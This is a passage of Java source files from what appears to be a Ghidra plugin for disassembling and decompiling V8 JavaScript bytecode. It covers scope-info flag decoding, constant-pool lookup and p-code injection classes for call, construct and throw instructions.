(int)objects.get(offset); 51 | } 52 | 53 | public int getSmiInt(long offset) { 54 | final int obj1 = (int)objects.get(offset); 55 | 56 | if (kPointerSize == 4) { 57 | return JscParser.smiToInt(obj1, kPointerSize); 58 | } 59 | 60 | final long obj2 = (int)objects.get(offset + 4); 61 | return JscParser.smiToInt(obj2 << 32L, kPointerSize); 62 | } 63 | 64 | public void addObject(long address, Object object) { 65 | lastAddAddress = address; 66 | 67 | if (object instanceof byte[]) { 68 | int[] objs = ObjectsAllocator.bytesToInts((byte[])object, 0); 69 | for (int i = 0; i < objs.length; ++i) { 70 | objects.put(address + i * 4, objs[i]); 71 | } 72 | } else { 73 | objects.put(address, object); 74 | } 75 | } 76 | 77 | public long getSize() { 78 | return size; 79 | } 80 | 81 | @Override 82 | public int hashCode() { 83 | return Objects.hash(objects, size); 84 | } 85 | 86 | @Override 87 | public boolean equals(Object obj) { 88 | if (this == obj) 89 | return true; 90 | if (obj == null) 91 | return false; 92 | if (getClass() != obj.getClass()) 93 | return false; 94 | ReservObject other = (ReservObject) obj; 95 | return Objects.equals(objects, other.objects) && size == other.size; 96 | } 97 | 98 | @Override 99 | public String toString() { 100 | StringBuilder sb = new StringBuilder(); 101 | 102 | for (final var item : objects.entrySet()) { 103 | sb.append(String.format("%04X, %d\n", item.getKey(), item.getValue())); 104 | } 105 | 106 | return sb.toString(); 107 | } 108 | } 109 | -------------------------------------------------------------------------------- /src/main/java/v8_bytecode/RootObject.java: -------------------------------------------------------------------------------- 1 | package v8_bytecode; 2 | 3 | import java.io.Serializable; 4 | 5 | public final class RootObject implements Serializable { 6 | private final String name; 7 | private final String type; 8 | 9 | public RootObject(String name, String type) { 10 | this.name = name; 11 | this.type = type; 12 | } 13 | 14 | public String getName() { 15 | return name; 16 | } 17 | 18 | public String getType() { 19 | return type; 20 | } 21 | 22 | @Override 23 | public int hashCode() { 24 | final int prime = 31; 25 | int result = 1; 26 | result = prime * result + ((name == null) ? 0 : name.hashCode()); 27 | result = prime * result + ((type == null) ? 0 : type.hashCode()); 28 | return result; 29 | } 30 | 31 | @Override 32 | public boolean equals(Object obj) { 33 | if (this == obj) 34 | return true; 35 | if (obj == null) 36 | return false; 37 | if (getClass() != obj.getClass()) 38 | return false; 39 | RootObject other = (RootObject) obj; 40 | if (name == null) { 41 | if (other.name != null) 42 | return false; 43 | } else if (!name.equals(other.name)) 44 | return false; 45 | if (type == null) { 46 | if (other.type != null) 47 | return false; 48 | } else if (!type.equals(other.type)) 49 | return false; 50 | return true; 51 | } 52 | 53 | @Override 54 | public String toString() { 55 | return name; 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /src/main/java/v8_bytecode/RuntimeFuncArg.java: -------------------------------------------------------------------------------- 1 | package v8_bytecode; 2 | 3 | import java.io.Serializable; 4 | 5 | public final class RuntimeFuncArg implements Serializable { 6 | private final String name; 7 | private final String type; 8 | 9 | public RuntimeFuncArg(String name, String type) { 10 | this.name = name; 11 | this.type = type; 12 | } 13 | 14 | public String getName() { 15 | return name; 16 | } 17 | 18 | public String getType() { 19 | return type; 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /src/main/java/v8_bytecode/ScopeInfoFlags.java: -------------------------------------------------------------------------------- 1 | package v8_bytecode; 2 | 3 | import v8_bytecode.enums.ScopeInfoFlagsFuncKindEnum; 4 | import v8_bytecode.enums.ScopeInfoFlagsFuncVar; 5 | import v8_bytecode.enums.ScopeInfoFlagsLang; 6 | import v8_bytecode.enums.ScopeInfoFlagsReceiver; 7 | import v8_bytecode.enums.ScopeInfoFlagsScope; 8 | 9 | public final class ScopeInfoFlags { 10 | 11 | private final ScopeInfoFlagsScope scope; 12 | private final boolean callsSloppyEval; 13 | private final ScopeInfoFlagsLang langMode; 14 | private final boolean declarationScope; 15 | private final ScopeInfoFlagsReceiver recv; 16 | private final boolean hasNewTarget; 17 | private final ScopeInfoFlagsFuncVar funcVar; 18 | private final boolean asmModule; 19 | private final boolean hasSimpleParameters; 20 | private final ScopeInfoFlagsFuncKindEnum.ScopeInfoFlagsFuncKind kind; 21 | private final boolean hasOuterScopeInfo; 22 | private final boolean isDebugEvaluateScope; 23 | 24 | public ScopeInfoFlags(int flags) { 25 | scope = ScopeInfoFlagsScope.fromInt(flags & 0xF); 26 | callsSloppyEval = ((flags & 0x10) >> 0x04) != 0; 27 | langMode = ScopeInfoFlagsLang.fromInt((flags & 0x20) >> 0x05); 28 | declarationScope = ((flags & 0x40) >> 0x06) != 0; 29 | recv = ScopeInfoFlagsReceiver.fromInt((flags & 0x180) >> 0x07); 30 | hasNewTarget = ((flags & 0x200) >> 0x09) != 0; 31 | funcVar = ScopeInfoFlagsFuncVar.fromInt((flags & 0xC00) >> 0x0A); 32 | asmModule = ((flags & 0x1000) >> 0x0C) != 0; 33 | hasSimpleParameters = ((flags & 0x2000) >> 0x0D) != 0; 34 | kind = ScopeInfoFlagsFuncKindEnum.ScopeInfoFlagsFuncKind.fromInt((flags & 0x00FFC000) >> 0x0E); 35 | hasOuterScopeInfo = ((flags & 0x01000000) >> 0x18) != 0; 36 | isDebugEvaluateScope = ((flags & 0x02000000) >> 0x19) != 0; 37 | } 38 | 39 | public ScopeInfoFlagsScope getScope() { 40 | return scope; 41 | } 42 | 43 | public boolean isCallsSloppyEval() { 44 | return callsSloppyEval; 45 | } 46 | 47 | public ScopeInfoFlagsLang getLangMode() { 48 | return langMode; 49 | } 50 | 51 | public boolean isDeclarationScope() { 52 | return declarationScope; 53 | } 54 | 55 | public ScopeInfoFlagsReceiver getRecv() { 56 | return recv; 57 | } 58 | 59 | public boolean hasNewTarget() { 60 | return hasNewTarget; 61 | } 62 | 63 | public ScopeInfoFlagsFuncVar getFuncVar() { 64 | return funcVar; 65 | } 66 | 67 | public boolean isAsmModule() { 68 | return asmModule; 69 | } 70 | 71 | public boolean hasSimpleParameters() { 72 | return hasSimpleParameters; 73 | } 74 | 75 | public ScopeInfoFlagsFuncKindEnum.ScopeInfoFlagsFuncKind getKind() { 76 | return kind; 77 | } 78 | 79 | public boolean hasOuterScopeInfo() { 80 | return hasOuterScopeInfo; 81 | } 82 | 83 | public boolean isDebugEvaluateScope() { 84 | return isDebugEvaluateScope; 85 | } 86 | 87 | public boolean hasReceiver() { 88 | return !recv.equals(ScopeInfoFlagsReceiver.UNUSED) && !recv.equals(ScopeInfoFlagsReceiver.NONE); 89 | } 90 | 91 | public boolean hasFunctionVar() { 92 | return !funcVar.equals(ScopeInfoFlagsFuncVar.NONE); 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /src/main/java/v8_bytecode/V8_ConstantPool.java: -------------------------------------------------------------------------------- 1 | package v8_bytecode; 2 | 3 | import ghidra.program.model.lang.ConstantPool; 4 | import ghidra.program.model.listing.Program; 5 | import v8_bytecode.allocator.JscParser; 6 | import v8_bytecode.allocator.ObjectsAllocator; 7 | import v8_bytecode.enums.RootsEnum; 8 | import v8_bytecode.enums.TypeOfEnum; 9 | import v8_bytecode.storage.ArrayStore; 10 | import v8_bytecode.storage.RuntimesIntrinsicsStore; 11 | import v8_bytecode.storage.ScopeInfoStore; 12 | import v8_bytecode.storage.SharedFunctionStore; 13 | import v8_bytecode.storage.FuncsStorage; 14 | import v8_bytecode.storage.InstructionsStorage; 15 | import ghidra.program.flatapi.FlatProgramAPI; 16 | import ghidra.program.model.address.Address; 17 | import ghidra.program.model.data.*; 18 | import ghidra.program.model.data.Enum; 19 | 20 | public class V8_ConstantPool extends ConstantPool { 21 | private final FuncsStorage funcsStorage; 22 | 23 | private final FlatProgramAPI fpa; 24 | private final DataTypeManager mgr; 25 | 26 | public V8_ConstantPool(Program program) { 27 | fpa = new FlatProgramAPI(program); 28 | 29 | mgr = program.getDataTypeManager(); 30 | 31 | funcsStorage = FuncsStorage.load(program); 32 | } 33 | 34 | @Override 35 | public Record getRecord(long[] ref) { 36 | Record res = new Record(); 37 | String tmp = ""; 38 | int tmpLen = 0; 39 | long address = ref[0]; 40 | int index = (int) ref[1]; 41 | int indexType = (int) ref[2]; 42 | 43 | // System.out.println(String.format("%04X %04X", address, index)); 44 | switch (indexType) { 45 | case 0: { // constant pool 46 | final Object cpItem = funcsStorage.getConstItem(fpa.toAddr(address), index); 47 | 48 | if (cpItem instanceof String) { 49 | res.tag = ConstantPool.STRING_LITERAL; 50 | res.type = new PointerDataType(CharDataType.dataType); 51 | res.byteData = ((String)cpItem).getBytes(); 52 | } else if (cpItem instanceof Integer) { 53 | res.tag = ConstantPool.PRIMITIVE; 54 | res.type = IntegerDataType.dataType; 55 | res.value = (Integer)cpItem; 56 | res.token = "int"; 57 | } else if (cpItem instanceof Long) { 58 | res.tag = ConstantPool.PRIMITIVE; 59 | res.type = LongLongDataType.dataType; 60 | res.value = (Long)cpItem; 61 | res.token = "longlong"; 62 | } else if (cpItem instanceof Double) { 63 | res.tag = ConstantPool.PRIMITIVE; 64 | res.type = DoubleDataType.dataType; 65 | 66 | final int[] halfs = ObjectsAllocator.doubleToInts((Double)cpItem); 67 | res.value = (((long)halfs[1]) << 32 ) + (halfs[0] & 0xffffffffL); 68 | res.token = "double"; 69 | } else if (cpItem instanceof RootObject) { 70 | res.tag = ConstantPool.PRIMITIVE; 71 | res.type = mgr.getRootCategory().getDataType(RootsEnum.NAME); 72 | res.value = funcsStorage.getRoots().fromString((RootObject)cpItem); 73 | res.token = ((RootObject)cpItem).getName(); 74 | } else if (cpItem instanceof SharedFunctionStore) { 75 | final Address funcAddr = fpa.toAddr(((SharedFunctionStore)cpItem).getAddress()); 76 | res.tag = ConstantPool.POINTER_METHOD; 77 | res.type = new PointerDataType(VoidDataType.dataType); 78 | res.token = fpa.getFunctionAt(funcAddr).getName(); 79 | } else if (cpItem instanceof ArrayStore){ 80 | res.tag = ConstantPool.POINTER_FIELD; 81 | res.type = mgr.getRootCategory().getDataType(((ArrayStore)cpItem).getName()); 82 | res.token = ((ArrayStore)cpItem).getName(); 83 | } else if (cpItem instanceof ScopeInfoStore) { 84 | res.tag = ConstantPool.POINTER_FIELD; 85 | res.type = mgr.getRootCategory().getDataType(((ScopeInfoStore)cpItem).getName()); 86 | res.token = ((ScopeInfoStore)cpItem).getName(); 87 | } else { 88 | //System.out.println(cpItem); 89 | } 90 | } break; 91 | case 1: // intrinsics 92 | case 2: { // runtimes 93 | final RuntimesIntrinsicsStore runsIntrsStore = funcsStorage.getRuntimesIntrinsicsStore(); 94 | res.tag = ConstantPool.POINTER_METHOD; 95 | res.type = new PointerDataType(VoidDataType.dataType); 96 | res.token = (indexType == 1) ? runsIntrsStore.getIntrinsicName(index) : runsIntrsStore.getRuntimeName(index); 97 | } break; 98 | case 3: { // context slot 99 | final InstructionsStorage instrStorage = InstructionsStorage.load(fpa.getCurrentProgram(), address); 100 | 101 | if (instrStorage == null) { 102 | break; 103 | } 104 | 105 | res.tag = ConstantPool.POINTER_METHOD; 106 | res.type = new PointerDataType(VoidDataType.dataType); 107 | res.token = instrStorage.getScopeInfo().getContextVar(index).getName(); 108 | } break; 109 | case 4: { 110 | final Enum typeOf = (Enum) mgr.getRootCategory().getDataType(TypeOfEnum.NAME); 111 | 112 | res.tag = ConstantPool.PRIMITIVE; 113 | res.type = typeOf; 114 | res.value = index; 115 | res.token = typeOf.getName(index); 116 | } break; 117 | case 5: { 118 | final Object cpItem = funcsStorage.getConstItem(fpa.toAddr(address), index); 119 | 120 | final long val; 121 | if (cpItem instanceof Integer) { 122 | val = JscParser.smiToInt((int)cpItem, ObjectsAllocator.getPointerSize(fpa.getCurrentProgram())); 123 | } else { // item instanceof Long 124 | val = JscParser.smiToInt((long)cpItem, ObjectsAllocator.getPointerSize(fpa.getCurrentProgram())); 125 | } 126 | 127 | res.tag = ConstantPool.PRIMITIVE; 128 | res.type = LongLongDataType.dataType; 129 | res.value = val; 130 | res.token = "longlong"; 131 | } break; 132 | } 133 | 134 | return res; 135 | } 136 | } 137 | -------------------------------------------------------------------------------- /src/main/java/v8_bytecode/V8_InjectCallJSRuntime.java: -------------------------------------------------------------------------------- 1 | package v8_bytecode; 2 | 3 | import ghidra.app.plugin.processors.sleigh.SleighLanguage; 4 | import ghidra.program.model.address.Address; 5 | import ghidra.program.model.lang.InjectContext; 6 | import ghidra.program.model.lang.Register; 7 | import ghidra.program.model.listing.Instruction; 8 | import ghidra.program.model.listing.Program; 9 | import ghidra.program.model.pcode.PcodeOp; 10 | 11 | public class V8_InjectCallJSRuntime extends V8_InjectPayload { 12 | 13 | public V8_InjectCallJSRuntime(String sourceName, SleighLanguage language, long uniqBase) { 14 | super(sourceName, language, uniqBase); 15 | // TODO Auto-generated constructor stub 16 | } 17 | 18 | @Override 19 | public String getName() { 20 | // TODO Auto-generated method stub 21 | return null; 22 | } 23 | 24 | @Override 25 | public PcodeOp[] getPcode(Program program, InjectContext context) { 26 | V8_PcodeOpEmitter pCode = new V8_PcodeOpEmitter(language, context.baseAddr, uniqueBase); 27 | Address opAddr = context.baseAddr; 28 | Integer callerParamsCount; 29 | Integer argIndex = 0; 30 | Integer callerArgIndex = 0; 31 | Instruction instruction = program.getListing().getInstructionAt(opAddr); 32 | Object[] opObjects = instruction.getOpObjects(2); 33 | String[] args = new String[opObjects.length + 1]; 34 | 35 | try { 36 | callerParamsCount = program.getListing().getFunctionContaining(opAddr).getParameterCount(); 37 | } 38 | catch(Exception e) { 39 | callerParamsCount = 0; 40 | } 41 | if (callerParamsCount > opObjects.length) { 42 | callerParamsCount = opObjects.length; 43 | } 44 | for (; callerArgIndex < callerParamsCount; callerArgIndex++) { 45 | pCode.emitPushCat1Value("a" + callerArgIndex); 46 | } 47 | // save instruction operands in locals 48 | argIndex = opObjects.length; 49 | for (Object o: opObjects) { 50 | argIndex--; 51 | Register currentOp = (Register)o; 52 | String invokeTmp = "invoke_tmp_" + "a" + argIndex; 53 | pCode.emitAssignVarnodeFromVarnode(invokeTmp, currentOp.toString(), 4); 54 | } 55 | // writing locals into aX registers to avoid mixing up arguments 56 | argIndex = opObjects.length; 57 | for (Object o: opObjects) { 58 | argIndex--; 59 | String invokeTmp = "invoke_tmp_" + "a" + argIndex; 60 | pCode.emitAssignVarnodeFromVarnode("a" + argIndex, invokeTmp, 4); 61 | } 62 | // make call 63 | pCode.emitIndirectCall("acc"); 64 | while (callerArgIndex > 0) { 65 | callerArgIndex--; 66 | pCode.emitPopCat1Value("a" + callerArgIndex); 67 | } 68 | return pCode.getPcodeOps(); 69 | } 70 | 71 | } 72 | -------------------------------------------------------------------------------- /src/main/java/v8_bytecode/V8_InjectCallVariadic.java: -------------------------------------------------------------------------------- 1 | package v8_bytecode; 2 | 3 | import ghidra.app.plugin.processors.sleigh.SleighLanguage; 4 | import ghidra.program.model.address.Address; 5 | import ghidra.program.model.lang.InjectContext; 6 | import ghidra.program.model.lang.Register; 7 | import ghidra.program.model.listing.Instruction; 8 | import ghidra.program.model.listing.Program; 9 | import ghidra.program.model.pcode.PcodeOp; 10 | 11 | 12 | public class V8_InjectCallVariadic extends V8_InjectPayload { 13 | 14 | public V8_InjectCallVariadic(String sourceName, SleighLanguage language, long uniqBase) { 15 | super(sourceName, language, uniqBase); 16 | // TODO Auto-generated constructor stub 17 | } 18 | 19 | // public V8_InjectInvokeIntrinsicCallRuntime(String sourceName, SleighLanguage language) { 20 | // super(sourceName, language); 21 | // // TODO Auto-generated constructor stub 22 | // } 23 | 24 | int INTRINSICTYPE = 1; 25 | int RUNTIMETYPE = 2; 26 | int PROPERTYTYPE = 3; 27 | 28 | @Override 29 | public PcodeOp[] getPcode(Program program, InjectContext context) { 30 | Integer callerParamsCount; 31 | Integer argIndex = 0; 32 | Integer callerArgIndex = 0; 33 | V8_PcodeOpEmitter pCode = new V8_PcodeOpEmitter(language, context.baseAddr, uniqueBase); 34 | Address opAddr = context.baseAddr; 35 | 36 | Instruction instruction = program.getListing().getInstructionAt(opAddr); 37 | // get arguments from slaspec, definition in cspec 38 | Integer funcType = (int) context.inputlist.get(0).getOffset(); 39 | Integer receiver = (int) context.inputlist.get(1).getOffset(); 40 | // extract and convert runtime id if runtime/intrinsic function called 41 | if (funcType != PROPERTYTYPE) { 42 | Integer index = (int) instruction.getScalar(0).getValue(); 43 | pCode.emitAssignVarnodeFromPcodeOpCall("call_target", 4, "cpool", "0", "0x" + opAddr.toString(), index.toString(), 44 | funcType.toString()); 45 | } 46 | else { 47 | pCode.emitAssignVarnodeFromVarnode("call_target", instruction.getRegister(0).toString(), 4); 48 | } 49 | // get register range 50 | Object[] tOpObjects = instruction.getOpObjects(2); 51 | // get caller args count to save only necessary ones 52 | // it does not match the logic of the node.exe but important for output quality 53 | Object[] opObjects; 54 | Register recvOp = null; 55 | if (receiver == 1) { 56 | recvOp = (Register)tOpObjects[0]; 57 | opObjects = new Object[tOpObjects.length - 1]; 58 | System.arraycopy(tOpObjects, 1, opObjects, 0, tOpObjects.length - 1); 59 | } 60 | else 61 | { 62 | opObjects = new Object[tOpObjects.length]; 63 | System.arraycopy(tOpObjects, 0, opObjects, 0, tOpObjects.length); 64 | } 65 | try { 66 | callerParamsCount = program.getListing().getFunctionContaining(opAddr).getParameterCount(); 67 | } 68 | catch(Exception e) { 69 | callerParamsCount = 0; 70 | } 71 | if (callerParamsCount > opObjects.length) { 72 | callerParamsCount = opObjects.length; 73 | } 74 | for (; callerArgIndex < callerParamsCount; callerArgIndex++) { 75 | pCode.emitPushCat1Value("a" + callerArgIndex); 76 | } 77 | // save instruction operands in locals 78 | argIndex = opObjects.length; 79 | for (Object o: opObjects) { 80 | argIndex--; 81 | Register currentOp = (Register)o; 82 | String invokeTmp = "invoke_tmp_" + "a" + argIndex; 83 | pCode.emitAssignVarnodeFromVarnode(invokeTmp, currentOp.toString(), 4); 84 | } 85 | // writing locals into aX registers to avoid mixing up arguments 86 | argIndex = opObjects.length; 87 | for (Object o: opObjects) { 88 | argIndex--; 89 | String invokeTmp = "invoke_tmp_" + "a" + argIndex; 90 | pCode.emitAssignVarnodeFromVarnode("a" + argIndex, invokeTmp, 4); 91 | } 92 | // make call 93 | pCode.emitVarnodeCall("call_target", 4); 94 | while (callerArgIndex > 0) { 95 | callerArgIndex--; 96 | pCode.emitPopCat1Value("a" + callerArgIndex); 97 | } 98 | if (receiver == 1) { 99 | pCode.emitAssignVarnodeFromVarnode(recvOp.toString(), "acc", 4); 100 | } 101 | // else if (receiver == 2) { 102 | // // *:4 fixset_addr = ret2:4; 103 | // // *:4 (fixset_addr+4) = ret2[4,8]; 104 | // } 105 | 106 | 107 | return pCode.getPcodeOps(); 108 | } 109 | 110 | @Override 111 | public String getName() { 112 | // TODO Auto-generated method stub 113 | return "InjectCallVariadic"; 114 | } 115 | 116 | } 117 | -------------------------------------------------------------------------------- /src/main/java/v8_bytecode/V8_InjectConstruct.java: -------------------------------------------------------------------------------- 1 | package v8_bytecode; 2 | 3 | import ghidra.app.plugin.processors.sleigh.SleighLanguage; 4 | import ghidra.app.plugin.processors.sleigh.symbol.Symbol; 5 | import ghidra.program.model.address.Address; 6 | import ghidra.program.model.lang.InjectContext; 7 | import ghidra.program.model.lang.Register; 8 | import ghidra.program.model.listing.Instruction; 9 | import ghidra.program.model.listing.Program; 10 | import ghidra.program.model.pcode.PcodeOp; 11 | 12 | 13 | public class V8_InjectConstruct extends V8_InjectPayload { 14 | 15 | public V8_InjectConstruct(String sourceName, SleighLanguage language, long uniqBase) { 16 | super(sourceName, language, uniqBase); 17 | } 18 | 19 | @Override 20 | public String getName() { 21 | return "ConstructCallOther"; 22 | } 23 | 24 | @Override 25 | public PcodeOp[] getPcode(Program program, InjectContext context) { 26 | V8_PcodeOpEmitter pCode = new V8_PcodeOpEmitter(language, context.baseAddr, uniqueBase); 27 | Symbol useropSym = language.getSymbolTable().findGlobalSymbol("Construct"); 28 | Address opAddr = context.baseAddr; 29 | Instruction instruction = program.getListing().getInstructionAt(opAddr); 30 | Integer opIndex = 2; 31 | Object[] opObjects = instruction.getOpObjects(opIndex); 32 | String[] args = new String[opObjects.length + 1]; 33 | args[0] = instruction.getRegister(0).toString(); 34 | for(int i=0; i < opObjects.length; i++) { 35 | args[i+1] = ((Register)opObjects[i]).toString(); 36 | } 37 | pCode.emitAssignVarnodeFromPcodeOpCall("acc", 4, "Construct", args); 38 | return pCode.getPcodeOps(); 39 | } 40 | 41 | } 42 | -------------------------------------------------------------------------------- /src/main/java/v8_bytecode/V8_InjectJSCallN.java: -------------------------------------------------------------------------------- 1 | package v8_bytecode; 2 | 3 | import java.util.ArrayList; 4 | 5 | import ghidra.app.plugin.processors.sleigh.SleighLanguage; 6 | import ghidra.program.model.address.Address; 7 | import ghidra.program.model.lang.InjectContext; 8 | import ghidra.program.model.lang.Register; 9 | import ghidra.program.model.listing.Instruction; 10 | import ghidra.program.model.listing.Program; 11 | import ghidra.program.model.pcode.PcodeOp; 12 | 13 | 14 | public class V8_InjectJSCallN extends V8_InjectPayload { 15 | 16 | public V8_InjectJSCallN(String sourceName, SleighLanguage language, long uniqBase) { 17 | super(sourceName, language, uniqBase); 18 | // TODO Auto-generated constructor stub 19 | } 20 | 21 | 22 | @Override 23 | public PcodeOp[] getPcode(Program program, InjectContext context) { 24 | Integer callerParamsCount; 25 | Integer argIndex = 0; 26 | Integer callerArgIndex = 0; 27 | 28 | V8_PcodeOpEmitter pCode = new V8_PcodeOpEmitter(language, context.baseAddr, uniqueBase); 29 | Address opAddr = context.baseAddr; 30 | Instruction instruction = program.getListing().getInstructionAt(opAddr); 31 | // get arguments from slaspec, definition in cspec 32 | Integer argcount = (int) context.inputlist.get(0).getOffset(); 33 | Integer receiver = (int) context.inputlist.get(1).getOffset(); 34 | 35 | 36 | ArrayList opArrList = new ArrayList(); 37 | for (int i = 0; i < argcount; i++) { 38 | opArrList.add(instruction.getOpObjects(i+receiver+1)[0]); 39 | } 40 | // PcodeOp[] p = instruction.getPcode(); 41 | Object[] opObjects = opArrList.toArray(); 42 | try { 43 | callerParamsCount = program.getListing().getFunctionContaining(opAddr).getParameterCount(); 44 | } 45 | catch(Exception e) { 46 | callerParamsCount = 0; 47 | } 48 | // get caller args count to save only necessary ones 49 | // it does not match the logic of the node.exe but important for output quality 50 | if (callerParamsCount > opObjects.length) { 51 | callerParamsCount = opObjects.length; 52 | } 53 | for (; callerArgIndex < callerParamsCount; callerArgIndex++) { 54 | pCode.emitPushCat1Value("a" + callerArgIndex); 55 | } 56 | // save instruction operands in locals 57 | argIndex = opObjects.length; 58 | for (Object o: opObjects) { 59 | argIndex--; 60 | Register currentOp = (Register)o; 61 | String invokeTmp = "invoke_tmp_" + "a" + argIndex; 62 | pCode.emitAssignVarnodeFromVarnode(invokeTmp, currentOp.toString(), 4); 63 | } 64 | // writing locals into aX registers to avoid mixing up arguments 65 | argIndex = opObjects.length; 66 | for (Object o: opObjects) { 67 | argIndex--; 68 | Register currentOp = (Register)o; 69 | String invokeTmp = "invoke_tmp_" + "a" + argIndex; 70 | pCode.emitAssignVarnodeFromVarnode("a" + argIndex, invokeTmp, 4); 71 | } 72 | // make call 73 | pCode.emitVarnodeCall(instruction.getRegister(0).toString(), 4); 74 | 75 | while (callerArgIndex > 0) { 76 | callerArgIndex--; 77 | pCode.emitPopCat1Value("a" + callerArgIndex); 78 | } 79 | if (receiver == 1) { 80 | Register currentOp = (Register)instruction.getOpObjects(1)[0]; 81 | pCode.emitAssignVarnodeFromVarnode(currentOp.toString(), "acc", 4); 82 | } 83 | return pCode.getPcodeOps(); 84 | } 85 | 86 | 87 | @Override 88 | public String getName() { 89 | // TODO Auto-generated method stub 90 | return "InjectJSCallN"; 91 | } 92 | } 93 | -------------------------------------------------------------------------------- /src/main/java/v8_bytecode/V8_InjectPayload.java: -------------------------------------------------------------------------------- 1 | package v8_bytecode; 2 | 3 | import ghidra.app.plugin.processors.sleigh.PcodeEmit; 4 | import ghidra.app.plugin.processors.sleigh.SleighLanguage; 5 | import ghidra.program.model.lang.InjectContext; 6 | import ghidra.program.model.lang.InjectPayload; 7 | 8 | public abstract class V8_InjectPayload implements InjectPayload { 9 | protected SleighLanguage language; 10 | protected long uniqueBase; 11 | private String sourceName; 12 | 13 | public V8_InjectPayload(String sourceName, SleighLanguage language, long uniqBase) { 14 | // super(sourceName); 15 | this.language = language; 16 | this.sourceName = sourceName; 17 | this.uniqueBase = uniqBase; 18 | 19 | } 20 | 21 | @Override 22 | public int getType() { 23 | return InjectPayload.CALLOTHERFIXUP_TYPE; 24 | } 25 | 26 | @Override 27 | public String getSource() { 28 | return sourceName; 29 | } 30 | 31 | @Override 32 | public int getParamShift() { 33 | return 0; 34 | } 35 | 36 | @Override 37 | public void inject(InjectContext context, PcodeEmit emit) { 38 | // Not used 39 | } 40 | 41 | @Override 42 | public boolean isFallThru() { 43 | return true; 44 | } 45 | 46 | @Override 47 | public InjectParameter[] getInput() { 48 | return null; 49 | } 50 | 51 | @Override 52 | public InjectParameter[] getOutput() { 53 | return null; 54 | } 55 | 56 | } 57 | -------------------------------------------------------------------------------- /src/main/java/v8_bytecode/V8_InjectStaDataPropertyInLiteral.java: -------------------------------------------------------------------------------- 1 | package v8_bytecode; 2 | 3 | import ghidra.app.plugin.processors.sleigh.SleighLanguage; 4 | import ghidra.program.model.address.Address; 5 | import ghidra.program.model.lang.InjectContext; 6 | import ghidra.program.model.listing.Instruction; 7 | import ghidra.program.model.listing.Program; 8 | import ghidra.program.model.pcode.PcodeOp; 9 | 10 | public class V8_InjectStaDataPropertyInLiteral extends V8_InjectPayload { 11 | public V8_InjectStaDataPropertyInLiteral(String sourceName, SleighLanguage language, long uniqBase) { 12 | super(sourceName, language, uniqBase); 13 | // TODO Auto-generated constructor stub 14 | } 15 | 16 | 17 | @Override 18 | public PcodeOp[] getPcode(Program program, InjectContext context) { 19 | Integer callerParamsCount; 20 | Integer argIndex = 0; 21 | Integer callerArgIndex = 0; 22 | Integer caleeArgsCount = 5; 23 | Integer runtimeType = 2; 24 | Integer index = 323; // Runtime::kDefineDataPropertyInLiteral 25 | V8_PcodeOpEmitter pCode = new V8_PcodeOpEmitter(language, context.baseAddr, uniqueBase); 26 | Address opAddr = context.baseAddr; 27 | Instruction instruction = program.getListing().getInstructionAt(opAddr); 28 | try { 29 | callerParamsCount = program.getListing().getFunctionContaining(opAddr).getParameterCount(); 30 | } 31 | catch(Exception e) { 32 | callerParamsCount = 0; 33 | } 34 | // get caller args count to save only necessary ones 35 | // it does not match the logic of the node.exe but important for output quality 36 | pCode.emitAssignVarnodeFromPcodeOpCall("call_target", 4, "cpool", "0", "0x" + opAddr.toString(), index.toString(), 37 | runtimeType.toString()); 38 | if (callerParamsCount > caleeArgsCount) { 39 | callerParamsCount = caleeArgsCount; 40 | } 41 | for (; callerArgIndex < callerParamsCount; callerArgIndex++) { 42 | pCode.emitPushCat1Value("a" + callerArgIndex); 43 | } 44 | // save instruction operands in locals 45 | String invokeTmp = "invoke_tmp_" + "obj"; 46 | pCode.emitAssignVarnodeFromVarnode(invokeTmp, instruction.getRegister(0).toString(), 4); 47 | invokeTmp = "invoke_tmp_" + "name"; 48 | pCode.emitAssignVarnodeFromVarnode(invokeTmp, instruction.getRegister(1).toString(), 4); 49 | pCode.emitAssignVarnodeFromVarnode("a0", "_context", 4); 50 | pCode.emitAssignVarnodeFromVarnode("a1", "invoke_tmp_obj", 4); 51 | pCode.emitAssignVarnodeFromVarnode("a2", "invoke_tmp_name", 4); 52 | pCode.emitAssignVarnodeFromVarnode("a3", "acc", 4); 53 | pCode.emitAssignConstantToRegister("a4", (int) instruction.getScalar(2).getValue()); 54 | // make call 55 | pCode.emitVarnodeCall("call_target", 4); 56 | 57 | while (callerArgIndex > 0) { 58 | callerArgIndex--; 59 | pCode.emitPopCat1Value("a" + callerArgIndex); 60 | } 61 | return pCode.getPcodeOps(); 62 | } 63 | 64 | 65 | @Override 66 | public String getName() { 67 | // TODO Auto-generated method stub 68 | return "InjectStaDataPropertyInLiteral"; 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /src/main/java/v8_bytecode/V8_InjectThrow.java: -------------------------------------------------------------------------------- 1 | package v8_bytecode; 2 | 3 | import ghidra.app.plugin.processors.sleigh.SleighLanguage; 4 | import ghidra.program.model.address.Address; 5 | import ghidra.program.model.lang.InjectContext; 6 | import ghidra.program.model.listing.Instruction; 7 | import ghidra.program.model.listing.Program; 8 | import ghidra.program.model.pcode.PcodeOp; 9 | 10 | public class V8_InjectThrow extends V8_InjectPayload { 11 | public V8_InjectThrow(String sourceName, SleighLanguage language, long uniqBase) { 12 | super(sourceName, language, uniqBase); 13 | // TODO Auto-generated constructor stub 14 | } 15 | 16 | 17 | @Override 18 | public PcodeOp[] getPcode(Program program, InjectContext context) { 19 | Integer callerParamsCount; 20 | Integer argIndex = 0; 21 | Integer callerArgIndex = 0; 22 | Integer fIdx = 0; 23 | V8_PcodeOpEmitter pCode = new V8_PcodeOpEmitter(language, context.baseAddr, uniqueBase); 24 | Address opAddr = context.baseAddr; 25 | 26 | Instruction instruction = program.getListing().getInstructionAt(opAddr); 27 | // get arguments from slaspec, definition in cspec 28 | Integer condition = (int) context.inputlist.get(0).getOffset(); 29 | Integer runtimeid = (int) context.inputlist.get(1).getOffset(); 30 | 31 | if (condition > 0) { 32 | pCode.emitConditionalBranchVarnode(instruction.getNext().getAddress(), condition, 4, "TheHole"); 33 | } 34 | Integer funcType = 0; 35 | if (instruction.getMnemonicString().compareTo("ThrowReferenceErrorIfHole") == 0) { 36 | fIdx = 1; 37 | Integer idx = (int) instruction.getScalar(0).getValue(); 38 | pCode.emitAssignVarnodeFromPcodeOpCall("cp", 4, "cpool", "0", "0x" + opAddr.toString(), idx.toString(), funcType.toString()); 39 | } 40 | // get runtime function 41 | funcType = 2; 42 | 